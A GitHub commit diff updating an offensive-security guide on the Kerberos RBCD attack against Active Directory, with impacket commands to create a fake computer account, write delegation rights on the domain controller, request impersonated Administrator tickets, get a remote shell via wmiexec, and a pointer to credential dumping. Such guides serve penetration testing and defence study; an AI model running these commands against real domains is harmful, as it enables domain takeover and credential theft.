-
Notifications
You must be signed in to change notification settings - Fork 134
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
65 additions
and
37 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,13 +1,13 @@ | ||
--- | ||
title: Resource-Based Constrained Delegation Attack | ||
title: RBCD (Resource-Based Constrained Delegation) Attack | ||
description: Kerberos RBCD attack targets a domain computer, exactly service principals related to the target domain computer. | ||
tags: | ||
- Active Directory | ||
- Kerberos | ||
- Windows | ||
refs: | ||
- https://github.com/tothi/rbcd-attack | ||
date: 2023-02-18 | ||
date: 2024-09-10 | ||
draft: false | ||
--- | ||
|
||
|
@@ -27,25 +27,25 @@ To achieve this attack successfully, we need the following conditions: | |
### 1. Create Fake Computer | ||
|
||
```bash | ||
impacket-addcomputer -computer-name 'fakecomputer$' -computer-pass 'password' -dc-ip 10.0.0.1 example.local/username:password | ||
impacket-addcomputer -computer-name 'FAKECOMPUTER$' -computer-pass 'password123' -dc-ip 10.0.0.1 'example.local/username:password' | ||
``` | ||
|
||
### 2. Modify Delegation Rights | ||
|
||
We can use [rbcd.py](https://github.com/tothi/rbcd-attack#abusing-kerberos-resource-based-constrained-delegation) for abusing `msDS-AllowedToActOnBehalfOfOtherIdentity` property of the target. | ||
|
||
```bash | ||
rbcd.py -f FAKECOMPUTER -t WEB -dc-ip 10.0.0.1 example\\username:password | ||
|
||
rbcd.py 'example.local/fakecomputer$' -delegate-to 'fakecomputer$' -delegate-from user1 -action write -use-ldaps -k -no-pass | ||
impacket-rbcd -delegate-from 'FAKECOMPUTER$' -delegate-to 'DC$' -dc-ip 10.0.0.1 -action 'write' 'example.local/username:password' | ||
``` | ||
|
||
### 3. Get the Impersonated Service Ticket | ||
|
||
Impersonated service tickets may allow high-level access to services on the target like CIFS (Common Internet File System), HTTPs, etc. | ||
|
||
```bash | ||
getST.py -spn cifs/example.local -impersonate admin -dc-ip 10.0.0.1 example.local/FAKECOMPUTER$:password | ||
impacket-getST -spn 'cifs/dc.example.local' -impersonate Administrator -dc-ip 10.0.0.1 'example.local/FAKECOMPUTER$:password123' | ||
# or | ||
impacket-getST -spn 'ldap/dc.example.local' -impersonate Administrator -dc-ip 10.0.0.1 'example.local/FAKECOMPUTER$:password123' | ||
``` | ||
|
||
### 4. Use the Service Ticket | ||
|
@@ -68,3 +68,7 @@ klist | |
# -no-pass: No password | ||
impacket-wmiexec example.local/[email protected] -k -no-pass | ||
``` | ||
|
||
- Dump credentials | ||
|
||
See [Dumping Windows Password Hashes](/exploit/windows/privilege-escalation/dumping-windows-password-hashes/) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -5,7 +5,7 @@ tags: | |
- Active Directory | ||
- Windows | ||
refs: | ||
date: 2024-08-11 | ||
date: 2024-09-10 | ||
draft: false | ||
--- | ||
|
||
|